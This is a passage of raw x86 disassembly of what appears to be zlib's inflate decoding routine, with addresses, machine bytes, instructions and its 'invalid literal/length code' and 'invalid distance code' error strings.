0806a7e5  8b 45 08                mov     0x8(%ebp),%eax
0806a7e8  8b 58 0c                mov     0xc(%eax),%ebx
0806a7eb  8b 45 0c                mov     0xc(%ebp),%eax
0806a7ee  8b 00                   mov     (%eax),%eax
0806a7f0  89 45 ec                mov     %eax,0xffffffec(%ebp)
0806a7f3  8b 45 0c                mov     0xc(%ebp),%eax
0806a7f6  8b 40 04                mov     0x4(%eax),%eax
0806a7f9  89 45 e8                mov     %eax,0xffffffe8(%ebp)
0806a7fc  8b 45 08                mov     0x8(%ebp),%eax
0806a7ff  8b 40 20                mov     0x20(%eax),%eax
0806a802  89 45 f0                mov     %eax,0xfffffff0(%ebp)
0806a805  8b 55 08                mov     0x8(%ebp),%edx
0806a808  8b 7a 30                mov     0x30(%edx),%edi
0806a80b  8b 42 2c                mov     0x2c(%edx),%eax
0806a80e  39 c7                   cmp     %eax,%edi
0806a810  8b 72 1c                mov     0x1c(%edx),%esi
0806a813  0f 83 9f 00 00 00       jae     0806a8b8 <Unknown0447+0xdc>  ;159 'x9f x0 x0 x0' ""
0806a819  29 f8                   sub     %edi,%eax
0806a81b  48                      dec     %eax
0806a81c  e9 9f 00 00 00          jmp     0806a8c0 <Unknown0447+0xe4>  ;159 'x9f x0 x0 x0' ""
0806a821  8d 76 00                lea     0x0(%esi),%esi
0806a824  8b 45 f0                mov     0xfffffff0(%ebp),%eax
0806a827  8b 4d 08                mov     0x8(%ebp),%ecx
0806a82a  89 71 1c                mov     %esi,0x1c(%ecx)
0806a82d  89 41 20                mov     %eax,0x20(%ecx)
0806a830  8b 55 0c                mov     0xc(%ebp),%edx
0806a833  8b 4d e8                mov     0xffffffe8(%ebp),%ecx
0806a836  89 4a 04                mov     %ecx,0x4(%edx)
0806a839  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a83c  2b 02                   sub     (%edx),%eax
0806a83e  01 42 08                add     %eax,0x8(%edx)
0806a841  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a844  89 02                   mov     %eax,(%edx)
0806a846  8b 55 08                mov     0x8(%ebp),%edx
0806a849  89 7a 30                mov     %edi,0x30(%edx)
0806a84c  56                      push    %esi
0806a84d  eb 56                   jmp     0806a8a5 <Unknown0447+0xc9>
0806a84f  90                      nop
0806a850  8b 45 f0                mov     0xfffffff0(%ebp),%eax
0806a853  8b 4d 08                mov     0x8(%ebp),%ecx
0806a856  89 41 20                mov     %eax,0x20(%ecx)
0806a859  89 71 1c                mov     %esi,0x1c(%ecx)
0806a85c  8b 55 0c                mov     0xc(%ebp),%edx
0806a85f  8b 4d e8                mov     0xffffffe8(%ebp),%ecx
0806a862  89 4a 04                mov     %ecx,0x4(%edx)
0806a865  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a868  2b 02                   sub     (%edx),%eax
0806a86a  01 42 08                add     %eax,0x8(%edx)
0806a86d  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a870  89 02                   mov     %eax,(%edx)
0806a872  8b 55 08                mov     0x8(%ebp),%edx
0806a875  89 7a 30                mov     %edi,0x30(%edx)
0806a878  53                      push    %ebx
0806a879  eb 2a                   jmp     0806a8a5 <Unknown0447+0xc9>
0806a87b  90                      nop
0806a87c  8b 45 f0                mov     0xfffffff0(%ebp),%eax
0806a87f  8b 4d 08                mov     0x8(%ebp),%ecx
0806a882  89 41 20                mov     %eax,0x20(%ecx)
0806a885  89 71 1c                mov     %esi,0x1c(%ecx)
0806a888  8b 4d e8                mov     0xffffffe8(%ebp),%ecx
0806a88b  8b 55 0c                mov     0xc(%ebp),%edx
0806a88e  89 4a 04                mov     %ecx,0x4(%edx)
0806a891  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a894  2b 02                   sub     (%edx),%eax
0806a896  01 42 08                add     %eax,0x8(%edx)
0806a899  8b 45 ec                mov     0xffffffec(%ebp),%eax
0806a89c  89 02                   mov     %eax,(%edx)
0806a89e  8b 55 08                mov     0x8(%ebp),%edx
0806a8a1  89 7a 30                mov     %edi,0x30(%edx)
0806a8a4  51                      push    %ecx
0806a8a5  ff 75 10                pushl   0x10(%ebp)
0806a8a8  ff 75 0c                pushl   0xc(%ebp)
0806a8ab  52                      push    %edx
0806a8ac  e8 ef 06 00 00          call    0806afa0 <Unknown0449>
```

```
0806a8b1  e9 ce 06 00 00        jmp     0806af84 <Unknown0447+0x7a8>   ;1742 'xce x6 x0 x0' ""
0806a8b6  89 f6                 mov     %esi,%esi
0806a8b8  8b 45 08              mov     0x8(%ebp),%eax
0806a8bb  8b 40 28              mov     0x28(%eax),%eax
0806a8be  29 f8                 sub     %edi,%eax
0806a8c0  89 45 e4              mov     %eax,0xffffffe4(%ebp)
0806a8c3  90                    nop
0806a8c4  8b 03                 mov     (%ebx),%eax
0806a8c6  83 f8 09              cmp     $0x9,%eax
0806a8c9  0f 87 81 06 00 00     ja      0806af50 <Unknown0447+0x774>   ;1665 'x81 x6 x0 x0' ""
0806a8cf  ff 24 85 00 6b 07 08  jmp     *0x8076b00(,%eax,4)   ;[in .rodata] 134654168 'xd8 xa8 x6 x8' ""
0806a8d6  89 f6                 mov     %esi,%esi
0806a8d8  81 7d e4 01 01 00 00  cmpl    $0x101,0xffffffe4(%ebp)   ;257 'x1 x1 x0 x0' ""
0806a8df  0f 86 af 00 00 00     jbe     0806a994 <Unknown0447+0x1b8>   ;175 'xaf x0 x0 x0' ""
0806a8e5  83 7d e8 09           cmpl    $0x9,0xffffffe8(%ebp)
0806a8e9  0f 86 a5 00 00 00     jbe     0806a994 <Unknown0447+0x1b8>   ;165 'xa5 x0 x0 x0' ""
0806a8ef  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806a8f2  8b 55 08              mov     0x8(%ebp),%edx
0806a8f5  89 4a 20              mov     %ecx,0x20(%edx)
0806a8f8  89 72 1c              mov     %esi,0x1c(%edx)
0806a8fb  8b 55 e8              mov     0xffffffe8(%ebp),%edx
0806a8fe  8b 45 0c              mov     0xc(%ebp),%eax
0806a901  89 50 04              mov     %edx,0x4(%eax)
0806a904  8b 4d 0c              mov     0xc(%ebp),%ecx
0806a907  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806a90a  2b 01                 sub     (%ecx),%eax
0806a90c  01 41 08              add     %eax,0x8(%ecx)
0806a90f  83 ec 08              sub     $0x8,%esp
0806a912  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806a915  8b 55 08              mov     0x8(%ebp),%edx
0806a918  89 01                 mov     %eax,(%ecx)
0806a91a  89 7a 30              mov     %edi,0x30(%edx)
0806a91d  51                    push    %ecx
0806a91e  52                    push    %edx
0806a91f  ff 73 18              pushl   0x18(%ebx)
0806a922  ff 73 14              pushl   0x14(%ebx)
0806a925  0f b6 43 11           movzbl  0x11(%ebx),%eax
0806a929  50                    push    %eax
0806a92a  0f b6 43 10           movzbl  0x10(%ebx),%eax
0806a92e  50                    push    %eax
0806a92f  e8 7c 07 00 00        call    0806b0b0 <Unknown0450>
0806a934  89 45 10              mov     %eax,0x10(%ebp)
0806a937  8b 45 0c              mov     0xc(%ebp),%eax
0806a93a  8b 00                 mov     (%eax),%eax
0806a93c  89 45 ec              mov     %eax,0xffffffec(%ebp)
0806a93f  8b 45 0c              mov     0xc(%ebp),%eax
0806a942  8b 40 04              mov     0x4(%eax),%eax
0806a945  89 45 e8              mov     %eax,0xffffffe8(%ebp)
0806a948  8b 45 08              mov     0x8(%ebp),%eax
0806a94b  8b 40 20              mov     0x20(%eax),%eax
0806a94e  89 45 f0              mov     %eax,0xfffffff0(%ebp)
0806a951  8b 55 08              mov     0x8(%ebp),%edx
0806a954  8b 7a 30              mov     0x30(%edx),%edi
0806a957  8b 42 2c              mov     0x2c(%edx),%eax
0806a95a  83 c4 20              add     $0x20,%esp
0806a95d  39 c7                 cmp     %eax,%edi
0806a95f  8b 72 1c              mov     0x1c(%edx),%esi
0806a962  73 08                 jae     0806a96c <Unknown0447+0x190>
0806a964  29 f8                 sub     %edi,%eax
0806a966  48                    dec     %eax
0806a967  eb 0b                 jmp     0806a974 <Unknown0447+0x198>
0806a969  8d 76 00              lea     0x0(%esi),%esi
0806a96c  8b 45 08              mov     0x8(%ebp),%eax
0806a96f  8b 40 28              mov     0x28(%eax),%eax
0806a972  29 f8                 sub     %edi,%eax
0806a974  89 45 e4              mov     %eax,0xffffffe4(%ebp)
0806a977  8b 55 10              mov     0x10(%ebp),%edx
0806a97a  85 d2                 test    %edx,%edx
0806a97c  74 16                 je      0806a994 <Unknown0447+0x1b8>
0806a97e  31 c0                 xor     %eax,%eax
0806a980  83 7d 10 01           cmpl    $0x1,0x10(%ebp)
0806a984  0f 95 c0              setne   %al
0806a987  8d 44 00 07           lea     0x7(%eax,%eax,1),%eax
0806a98b  89 03                 mov     %eax,(%ebx)
0806a98d  e9 32 ff ff ff        jmp     0806a8c4 <Unknown0447+0xe8>   ;-206 'x32 xff xff xff' "2"
0806a992  89 f6                 mov     %esi,%esi
0806a994  0f b6 43 10           movzbl  0x10(%ebx),%eax
0806a998  89 43 0c              mov     %eax,0xc(%ebx)
0806a99b  8b 43 14              mov     0x14(%ebx),%eax
0806a99e  89 43 08              mov     %eax,0x8(%ebx)
0806a9a1  c7 03 01 00 00 00     movl    $0x1,(%ebx)   ;1 'x1 x0 x0 x0' ""
0806a9a7  8b 43 0c              mov     0xc(%ebx),%eax
0806a9aa  39 c6                 cmp     %eax,%esi
0806a9ac  89 45 dc              mov     %eax,0xffffffdc(%ebp)
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0806a9af   73 63                 jae     0806aa14 <Unknown0447+0x238>
0806a9b1   8d 76 00              lea     0x0(%esi),%esi
0806a9b4   8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806a9b7   85 c0                 test    %eax,%eax
0806a9b9   74 09                 je      0806a9c4 <Unknown0447+0x1e8>
0806a9bb   c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
0806a9c2   eb 34                 jmp     0806a9f8 <Unknown0447+0x21c>
0806a9c4   8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806a9c7   8b 55 08              mov     0x8(%ebp),%edx
0806a9ca   8b 45 0c              mov     0xc(%ebp),%eax
0806a9cd   89 72 1c              mov     %esi,0x1c(%edx)
0806a9d0   89 4a 20              mov     %ecx,0x20(%edx)
0806a9d3   c7 40 04 00 00 00 00  movl    $0x0,0x4(%eax)    ;0 'x0 x0 x0 x0' ""
0806a9da   8b 55 0c              mov     0xc(%ebp),%edx
0806a9dd   8b 45 ec              mov     0xffffffec(%ebp),%eax
0806a9e0   2b 02                 sub     (%edx),%eax
0806a9e2   01 42 08              add     %eax,0x8(%edx)
0806a9e5   8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806a9e8   89 0a                 mov     %ecx,(%edx)
0806a9ea   8b 45 08              mov     0x8(%ebp),%eax
0806a9ed   89 78 30              mov     %edi,0x30(%eax)
0806a9f0   51                    push    %ecx
0806a9f1   e9 7b 02 00 00        jmp     0806ac71 <Unknown0447+0x495>  ;635 'x7b x2 x0 x0' "{"
0806a9f6   89 f6                 mov     %esi,%esi
0806a9f8   8b 55 ec              mov     0xffffffec(%ebp),%edx
0806a9fb   ff 4d e8              decl    0xffffffe8(%ebp)
0806a9fe   0f b6 02              movzbl  (%edx),%eax
0806aa01   89 f1                 mov     %esi,%ecx
0806aa03   d3 e0                 shl     %cl,%eax
0806aa05   83 c6 08              add     $0x8,%esi
0806aa08   42                    inc     %edx
0806aa09   09 45 f0              or      %eax,0xfffffff0(%ebp)
0806aa0c   3b 75 dc              cmp     0xffffffdc(%ebp),%esi
0806aa0f   89 55 ec              mov     %edx,0xffffffec(%ebp)
0806aa12   72 a0                 jb      0806a9b4 <Unknown0447+0x1d8>
0806aa14   8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806aa17   8b 55 dc              mov     0xffffffdc(%ebp),%edx
0806aa1a   23 04 95 80 98 07 08  and     0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806aa21   8b 53 08              mov     0x8(%ebx),%edx
0806aa24   8d 14 c2              lea     (%edx,%eax,8),%edx
0806aa27   0f b6 4a 01           movzbl  0x1(%edx),%ecx
0806aa2b   d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806aa2e   0f b6 02              movzbl  (%edx),%eax
0806aa31   29 ce                 sub     %ecx,%esi
0806aa33   85 c0                 test    %eax,%eax
0806aa35   75 11                 jne     0806aa48 <Unknown0447+0x26c>
0806aa37   8b 42 04              mov     0x4(%edx),%eax
0806aa3a   89 43 08              mov     %eax,0x8(%ebx)
0806aa3d   c7 03 06 00 00 00 00  movl    $0x6,(%ebx)  ;6 'x6 x0 x0 x0' ""
0806aa43   e9 7c fe ff ff        jmp     0806a8c4 <Unknown0447+0xe8>   ;-388 'x7c xfe xff xff' "|"
0806aa48   a9 10 00 00 00        test    $0x10,%eax  ;16 'x10 x0 x0 x0' ""
0806aa4d   74 19                 je      0806aa68 <Unknown0447+0x28c>
0806aa4f   83 e0 0f              and     $0xf,%eax
0806aa52   89 43 08              mov     %eax,0x8(%ebx)
0806aa55   8b 42 04              mov     0x4(%edx),%eax
0806aa58   89 43 04              mov     %eax,0x4(%edx)
0806aa5b   c7 03 02 00 00 00     movl    $0x2,(%ebx)  ;2 'x2 x0 x0 x0' ""
0806aa61   e9 5e fe ff ff        jmp     0806a8c4 <Unknown0447+0xe8>   ;-418 'x5e xfe xff xff' "^"
0806aa66   89 f6                 mov     %esi,%esi
0806aa68   a9 40 00 00 00        test    $0x40,%eax  ;64 'x40 x0 x0 x0' "@"
0806aa6d   0f 84 80 01 00 00     je      0806abf3 <Unknown0447+0x417>  ;384 'x80 x1 x0 x0' ""
0806aa73   83 e0 20              and     $0x20,%eax
0806aa76   74 0c                 je      0806aa84 <Unknown0447+0x2a8>
0806aa78   c7 03 07 00 00 00     movl    $0x7,(%ebx)  ;7 'x7 x0 x0 x0' ""
0806aa7e   e9 41 fe ff ff        jmp     0806a8c4 <Unknown0447+0xe8>   ;-447 'x41 xfe xff xff' "A"
0806aa83   90                    nop
0806aa84   8b 4d 0c              mov     0xc(%ebp),%ecx
0806aa87   c7 41 18 c0 6a 07 08  movl    $0x8076ac0,0x18(%ecx)   ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                   "invalid literal/length code"
0806aa8e   c7 03 09 00 00 00     movl    $0x9,(%ebx)  ;9 'x9 x0 x0 x0' ""
0806aa94   8b 55 f0              mov     0xfffffff0(%ebp),%edx
0806aa97   8b 45 08              mov     0x8(%ebp),%eax
0806aa9a   89 50 20              mov     %edx,0x20(%eax)
0806aa9d   89 70 1c              mov     %esi,0x1c(%eax)
0806aaa0   e9 82 04 00 00        jmp     0806af27 <Unknown0447+0x74b>  ;1154 'x82 x4 x0 x0' ""
0806aaa5   8d 76 00              lea     0x0(%esi),%esi
0806aaa8   8b 43 08              mov     0x8(%ebx),%eax
0806aaab   39 c6                 cmp     %eax,%esi
0806aaad   89 45 dc              mov     %eax,0xffffffdc(%ebp)
0806aab0   73 62                 jae     0806ab14 <Unknown0447+0x338>
0806aab2   89 f6                 mov     %esi,%esi
0806aab4   8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806aab7   85 c0                 test    %eax,%eax
0806aab9   74 09                 je      0806aac4 <Unknown0447+0x2e8>
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0806aabb  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
0806aac2  eb 34                 jmp     0806aaf8 <Unknown0447+0x31c>
0806aac4  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806aac7  8b 55 08              mov     0x8(%ebp),%edx
0806aaca  8b 45 0c              mov     0xc(%ebp),%eax
0806aacd  89 72 1c              mov     %esi,0x1c(%edx)
0806aad0  89 4a 20              mov     %ecx,0x20(%edx)
0806aad3  c7 40 04 00 00 00 00  movl    $0x0,0x4(%eax)    ;0 'x0 x0 x0 x0' ""
0806aada  8b 55 0c              mov     0xc(%ebp),%edx
0806aadd  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806aae0  2b 02                 sub     (%edx),%eax
0806aae2  01 42 08              add     %eax,0x8(%edx)
0806aae5  8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806aae8  89 0a                 mov     %ecx,(%edx)
0806aaea  8b 45 08              mov     0x8(%ebp),%eax
0806aaed  89 78 30              mov     %edi,0x30(%eax)
0806aaf0  51                    push    %ecx
0806aaf1  e9 7b 01 00 00        jmp     0806ac71 <Unknown0447+0x495>   ;379 'x7b x1 x0 x0' "{"
0806aaf6  89 f6                 mov     %esi,%esi
0806aaf8  8b 55 ec              mov     0xffffffec(%ebp),%edx
0806aafb  ff 4d e8              decl    0xffffffe8(%ebp)
0806aafe  0f b6 02              movzbl  (%edx),%eax
0806ab01  89 f1                 mov     %esi,%ecx
0806ab03  d3 e0                 shl     %cl,%eax
0806ab05  83 c6 08              add     $0x8,%esi
0806ab08  42                    inc     %edx
0806ab09  09 45 f0              or      %eax,0xfffffff0(%ebp)
0806ab0c  3b 75 dc              cmp     0xffffffdc(%ebp),%esi
0806ab0f  89 55 ec              mov     %edx,0xffffffec(%ebp)
0806ab12  72 a0                 jb      0806aab4 <Unknown0447+0x2d8>
0806ab14  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806ab17  8b 55 dc              mov     0xffffffdc(%ebp),%edx
0806ab1a  23 04 95 80 98 07 08  and     0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806ab21  01 43 04              add     %eax,0x4(%ebx)
0806ab24  8a 4d dc              mov     0xffffffdc(%ebp),%cl
0806ab27  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806ab2a  0f b6 43 11           movzbl  0x11(%ebx),%eax
0806ab2e  89 43 0c              mov     %eax,0xc(%ebx)
0806ab31  8b 43 18              mov     0x18(%ebx),%eax
0806ab34  29 d6                 sub     %edx,%esi
0806ab36  89 43 08              mov     %eax,0x8(%ebx)
0806ab39  c7 03 03 00 00 00     movl    $0x3,(%ebx)   ;3 'x3 x0 x0 x0' ""
0806ab3f  8b 43 0c              mov     0xc(%ebx),%eax
0806ab42  39 c6                 cmp     %eax,%esi
0806ab44  89 45 dc              mov     %eax,0xffffffdc(%ebp)
0806ab47  73 63                 jae     0806abac <Unknown0447+0x3d0>
0806ab49  8d 76 00              lea     0x0(%esi),%esi
0806ab4c  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806ab4f  85 c0                 test    %eax,%eax
0806ab51  74 09                 je      0806ab5c <Unknown0447+0x380>
0806ab53  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
0806ab5a  eb 34                 jmp     0806ab90 <Unknown0447+0x3b4>
0806ab5c  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806ab5f  8b 55 08              mov     0x8(%ebp),%edx
0806ab62  8b 45 0c              mov     0xc(%ebp),%eax
0806ab65  89 72 1c              mov     %esi,0x1c(%edx)
0806ab68  89 4a 20              mov     %ecx,0x20(%edx)
0806ab6b  c7 40 04 00 00 00 00  movl    $0x0,0x4(%eax)   ;0 'x0 x0 x0 x0' ""
0806ab72  8b 55 0c              mov     0xc(%ebp),%edx
0806ab75  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806ab78  2b 02                 sub     (%edx),%eax
0806ab7a  01 42 08              add     %eax,0x8(%edx)
0806ab7d  8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806ab80  89 0a                 mov     %ecx,(%edx)
0806ab82  8b 45 08              mov     0x8(%ebp),%eax
0806ab85  89 78 30              mov     %edi,0x30(%eax)
0806ab88  51                    push    %ecx
0806ab89  e9 e3 00 00 00        jmp     0806ac71 <Unknown0447+0x495>   ;227 'xe3 x0 x0 x0' ""
0806ab8e  89 f6                 mov     %esi,%esi
0806ab90  8b 55 ec              mov     0xffffffec(%ebp),%edx
0806ab93  ff 4d e8              decl    0xffffffe8(%ebp)
0806ab96  0f b6 02              movzbl  (%edx),%eax
0806ab99  89 f1                 mov     %esi,%ecx
0806ab9b  d3 e0                 shl     %cl,%eax
0806ab9d  83 c6 08              add     $0x8,%esi
0806aba0  42                    inc     %edx
0806aba1  09 45 f0              or      %eax,0xfffffff0(%ebp)
0806aba4  3b 75 dc              cmp     0xffffffdc(%ebp),%esi
0806aba7  89 55 ec              mov     %edx,0xffffffec(%ebp)
0806abaa  72 a0                 jb      0806ab4c <Unknown0447+0x370>
0806abac  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806abaf  8b 55 dc              mov     0xffffffdc(%ebp),%edx
0806abb2  23 04 95 80 98 07 08  and     0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806abb9  8b 53 08              mov     0x8(%ebx),%edx
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0806abbc  8d 14 c2              lea     (%edx,%eax,8),%edx
0806abbf  0f b6 4a 01           movzbl  0x1(%edx),%ecx
0806abc3  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806abc6  0f b6 02              movzbl  (%edx),%eax
0806abc9  29 ce                 sub     %ecx,%esi
0806abcb  a9 10 00 00 00        test    $0x10,%eax    ;16 'x10 x0 x0 x0' ""
0806abd0  74 1a                 je      0806abec <Unknown0447+0x410>
0806abd2  83 e0 0f              and     $0xf,%eax
0806abd5  89 43 08              mov     %eax,0x8(%ebx)
0806abd8  8b 42 04              mov     0x4(%edx),%eax
0806abdb  89 43 0c              mov     %eax,0xc(%ebx)
0806abde  c7 03 04 00 00 00     movl    $0x4,(%ebx)   ;4 'x4 x0 x0 x0' ""
0806abe4  e9 db fc ff ff        jmp     0806a8c4 <Unknown0447+0xe8>  ;-805 'xdb xfc xff xff' ""
0806abe9  8d 76 00              lea     0x0(%esi),%esi
0806abec  a9 40 00 00 00        test    $0x40,%eax    ;64 'x40 x0 x0 x0' "@"
0806abf1  75 11                 jne     0806ac04 <Unknown0447+0x428>
0806abf3  89 43 0c              mov     %eax,0xc(%ebx)
0806abf6  8b 42 04              mov     0x4(%edx),%eax
0806abf9  89 43 08              mov     %eax,0x8(%ebx)
0806abfc  e9 c3 fc ff ff        jmp     0806a8c4 <Unknown0447+0xe8>  ;-829 'xc3 xfc xff xff' ""
0806ac01  8d 76 00              lea     0x0(%esi),%esi
0806ac04  8b 4d 0c              mov     0xc(%ebp),%ecx
0806ac07  c7 41 18 dc 6a 07 08  movl    $0x8076adc,0x18(%ecx)   ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                  "invalid distance code"
0806ac0e  c7 03 09 00 00 00     movl    $0x9,(%ebx)   ;9 'x9 x0 x0 x0' ""
0806ac14  8b 55 f0              mov     0xfffffff0(%ebp),%edx
0806ac17  8b 45 08              mov     0x8(%ebp),%eax
0806ac1a  89 50 20              mov     %edx,0x20(%eax)
0806ac1d  89 70 1c              mov     %esi,0x1c(%eax)
0806ac20  e9 02 03 00 00        jmp     0806af27 <Unknown0447+0x74b>  ;770 'x2 x3 x0 x0' ""
0806ac25  8d 76 00              lea     0x0(%esi),%esi
0806ac28  8b 43 08              mov     0x8(%ebx),%eax
0806ac2b  39 c6                 cmp     %eax,%esi
0806ac2d  89 45 dc              mov     %eax,0xffffffdc(%ebp)
0806ac30  73 6a                 jae     0806ac9c <Unknown0447+0x4c0>
0806ac32  89 f6                 mov     %esi,%esi
0806ac34  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806ac37  85 c0                 test    %eax,%eax
0806ac39  74 09                 je      0806ac44 <Unknown0447+0x468>
0806ac3b  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)  ;0 'x0 x0 x0 x0' ""
0806ac42  eb 3c                 jmp     0806ac80 <Unknown0447+0x4a4>
0806ac44  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806ac47  8b 55 08              mov     0x8(%ebp),%edx
0806ac4a  8b 45 0c              mov     0xc(%ebp),%eax
0806ac4d  89 72 1c              mov     %esi,0x1c(%edx)
0806ac50  89 4a 20              mov     %ecx,0x20(%edx)
0806ac53  c7 40 04 00 00 00 00  movl    $0x0,0x4(%eax)   ;0 'x0 x0 x0 x0' ""
0806ac5a  8b 55 0c              mov     0xc(%ebp),%edx
0806ac5d  8b 45 ec              mov     0xffffffec(%ebp),%eax
0806ac60  2b 02                 sub     (%edx),%eax
0806ac62  01 42 08              add     %eax,0x8(%edx)
0806ac65  8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806ac68  8b 45 08              mov     0x8(%ebp),%eax
0806ac6b  89 0a                 mov     %ecx,(%edx)
0806ac6d  89 78 30              mov     %edi,0x30(%eax)
0806ac70  53                    push    %ebx
0806ac71  ff 75 10              pushl   0x10(%ebp)
0806ac74  52                    push    %edx
0806ac75  50                    push    %eax
0806ac76  e8 25 03 00 00        call    0806afa0 <Unknown0449>
0806ac7b  e9 04 03 00 00        jmp     0806af84 <Unknown0447+0x7a8>  ;772 'x4 x3 x0 x0' ""
0806ac80  8b 55 ec              mov     0xffffffec(%ebp),%edx
0806ac83  ff 4d e8              decl    0xffffffe8(%ebp)
0806ac86  0f b6 02              movzbl  (%edx),%eax
0806ac89  89 f1                 mov     %esi,%ecx
0806ac8b  d3 e0                 shl     %cl,%eax
0806ac8d  83 c6 08              add     $0x8,%esi
0806ac90  42                    inc     %edx
0806ac91  09 45 f0              or      %eax,0xfffffff0(%ebp)
0806ac94  3b 75 dc              cmp     0xffffffdc(%ebp),%esi
0806ac97  89 55 ec              mov     %edx,0xffffffec(%ebp)
0806ac9a  72 98                 jb      0806ac34 <Unknown0447+0x458>
0806ac9c  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806ac9f  8b 55 dc              mov     0xffffffdc(%ebp),%edx
0806aca2  23 04 95 80 98 07 08  and     0x8079880(,%edx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806aca9  01 43 0c              add     %eax,0xc(%ebx)
0806acac  8a 4d dc              mov     0xffffffdc(%ebp),%cl
0806acaf  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806acb2  29 d6                 sub     %edx,%esi
0806acb4  c7 03 05 00 00 00     movl    $0x5,(%ebx)   ;5 'x5 x0 x0 x0' ""
0806acba  8b 55 08              mov     0x8(%ebp),%edx
0806acbd  89 f8                 mov     %edi,%eax
0806acbf  2b 42 24              sub     0x24(%edx),%eax
0806acc2  8b 53 0c              mov     0xc(%ebx),%edx
```

```
0806acc5  39 d0           cmp    %edx,%eax
0806acc7  73 0f           jae    0806acd8 <Unknown0447+0x4fc>
0806acc9  29 c2           sub    %eax,%edx
0806accb  8b 45 08        mov    0x8(%ebp),%eax
0806acce  8b 40 28        mov    0x28(%eax),%eax
0806acd1  29 d0           sub    %edx,%eax
0806acd3  89 45 e0        mov    %eax,0xffffffe0(%ebp)
0806acd6  eb 06           jmp    0806acde <Unknown0447+0x502>
0806acd8  89 7d e0        mov    %edi,0xffffffe0(%ebp)
0806acdb  29 55 e0        sub    %edx,0xffffffe0(%ebp)
0806acde  8b 4b 04        mov    0x4(%ebx),%ecx
0806ace1  85 c9           test   %ecx,%ecx
0806ace3  0f 84 c3 01 00 00  je   0806aeac <Unknown0447+0x6d0>    ;451 'xc3 x1 x0 x0' ""
0806ace9  8d 76 00        lea    0x0(%esi),%esi
0806acec  8b 55 e4        mov    0xffffffe4(%ebp),%edx
0806acef  85 d2           test   %edx,%edx
0806acf1  0f 85 b1 00 00 00  jne  0806ada8 <Unknown0447+0x5cc>    ;177 'xb1 x0 x0 x0' ""
0806acf7  8b 55 08        mov    0x8(%ebp),%edx
0806acfa  8b 4a 28        mov    0x28(%edx),%ecx
0806acfd  39 cf           cmp    %ecx,%edi
0806acff  75 2c           jne    0806ad2d <Unknown0447+0x551>
0806ad01  8b 42 2c        mov    0x2c(%edx),%eax
0806ad04  89 45 d4        mov    %eax,0xffffffd4(%ebp)
0806ad07  8b 42 24        mov    0x24(%edx),%eax
0806ad0a  39 45 d4        cmp    %eax,0xffffffd4(%ebp)
0806ad0d  89 45 d8        mov    %eax,0xffffffd8(%ebp)
0806ad10  74 1b           je     0806ad2d <Unknown0447+0x551>
0806ad12  89 c7           mov    %eax,%edi
0806ad14  3b 7d d4        cmp    0xffffffd4(%ebp),%edi
0806ad17  73 0f           jae    0806ad28 <Unknown0447+0x54c>
0806ad19  29 7d d4        sub    %edi,0xffffffd4(%ebp)
0806ad1c  8b 55 d4        mov    0xffffffd4(%ebp),%edx
0806ad1f  4a              dec    %edx
0806ad20  89 55 e4        mov    %edx,0xffffffe4(%ebp)
0806ad23  eb 08           jmp    0806ad2d <Unknown0447+0x551>
0806ad25  8d 76 00        lea    0x0(%esi),%esi
0806ad28  29 f9           sub    %edi,%ecx
0806ad2a  89 4d e4        mov    %ecx,0xffffffe4(%ebp)
0806ad2d  8b 45 e4        mov    0xffffffe4(%ebp),%eax
0806ad30  85 c0           test   %eax,%eax
0806ad32  75 74           jne    0806ada8 <Unknown0447+0x5cc>
0806ad34  8b 4d 08        mov    0x8(%ebp),%ecx
0806ad37  89 79 30        mov    %edi,0x30(%ecx)
0806ad3a  57              push   %edi
0806ad3b  ff 75 10        pushl  0x10(%ebp)
0806ad3e  ff 75 0c        pushl  0xc(%ebp)
0806ad41  51              push   %ecx
0806ad42  e8 59 02 00 00  call   0806afa0 <Unknown0449>
0806ad47  89 45 10        mov    %eax,0x10(%ebp)
0806ad4a  8b 45 08        mov    0x8(%ebp),%eax
0806ad4d  8b 78 30        mov    0x30(%eax),%edi
0806ad50  8b 50 2c        mov    0x2c(%eax),%edx
0806ad53  83 c4 10        add    $0x10,%esp
0806ad56  39 d7           cmp    %edx,%edi
0806ad58  73 12           jae    0806ad6c <Unknown0447+0x590>
0806ad5a  89 d0           mov    %edx,%eax
